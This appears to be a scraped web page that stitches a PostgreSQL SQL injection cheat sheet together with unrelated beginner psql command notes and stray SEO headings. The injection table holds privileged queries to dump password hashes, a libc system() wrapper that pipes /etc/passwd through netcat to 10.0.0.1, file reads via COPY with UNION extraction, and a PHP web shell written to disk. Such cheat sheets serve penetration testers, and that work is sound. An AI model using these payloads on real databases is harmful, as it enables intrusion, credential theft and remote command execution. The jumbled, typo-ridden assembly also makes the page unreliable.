Some useful syntax reminders for SQL Injection into PostgreSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
This is an small PostgreSQL Cheat Sheet for PostgreSQL basic command and there uses. We have created this list for those command which we frequently used with PostgreSQL. I request to TecAdmin.net readers, If you have any commands, feel free to share with us. You can simply put that in comment box. Quit from psql q -version select version; -Create PostgreSQL database create database MYDB owner myowner; -drop PostgreSQL database.BE CAREFUL USING THIS COMMAND - IT CANNOT BE REVERSED!! TAKE A BACKUP FIRST drop database MYDB; -list PostgreSQL databases list l -list schemas in a database with psql dn -list schemas in database with postgresql select nspname from. Apr 15, 2021 PostgreSQL Exercises: An awesome resource to learn to learn SQL, teaching you with simple examples in a great visual way. Highly recommended. A Performance Cheat Sheet for PostgreSQL: Great explanations of EXPLAIN, EXPLAIN ANALYZE, VACUUM, configuration parameters and more. Quite interesting if you need to tune-up a postgres setup.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
Version | SELECT version() |
Comments | SELECT 1; –comment SELECT /*comment*/1; |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
List Users | SELECT usename FROM pg_user |
List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | SELECT current_database() |
List Databases | SELECT datname FROM pg_database |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
ASCII Value -> Char | SELECT chr(65); |
Char -> ASCII Value | SELECT ascii(‘A’); |
Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
Make DNS Requests | Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try. – priv user can also read/write files by mapping libc functions |
Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
Drop Users | DROP USER test1; — priv |
Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
Default/System Databases | template0 template1 |
Tags: cheatsheet, database, pentest, postgresql, sqlinjection
Posted in SQL Injection
Starting the server
Windows Users
You must do this every time you restart your machine.
Mac Users
After you have run this command the first time, postgres will start automatically whenever you boot up your computer.
Starting the postgres shell
Open the shell and connect to the city_explorer database:
psql city_explorer
Postgresql Tutorial Pdf
With no arguments,
psql
will start the shell connected to your user-default database.Creating a database
Postgresql Commands Cheat Sheet Examples
This will create a new database called “book_wiki”, which can contain many individual tables:
CREATE DATABASE book_wiki;
Quit the postgres shell
Type the backslash character, immediatly followed by a “q”:
yourname=# q
Basic shell navigation
List all of your databases
yourname=# l
Connect to a database
yourname=# c book_wiki
List all tables (aka: relations) in the database
Postgresql Command Line Cheat Sheet
yourname=# dt
The command
dt
means “describe table”.Display the schema for a table
yourname=# d table-name
Troubleshooting Tips
Error - psql not connected to server
Cheat Sheet Terraria
psql: could not connect to server: No such file or directory
Solution - Turn Postgres On
See above notes about starting the server.
Error - schema.sql file not found
When connecting your schema.sql to your database:
schema.sql: No such file or directory
Solution
Postgres Cheat Sheet
You must specify the full path to the .sql file or run the command from the same directory where the .sql file lives.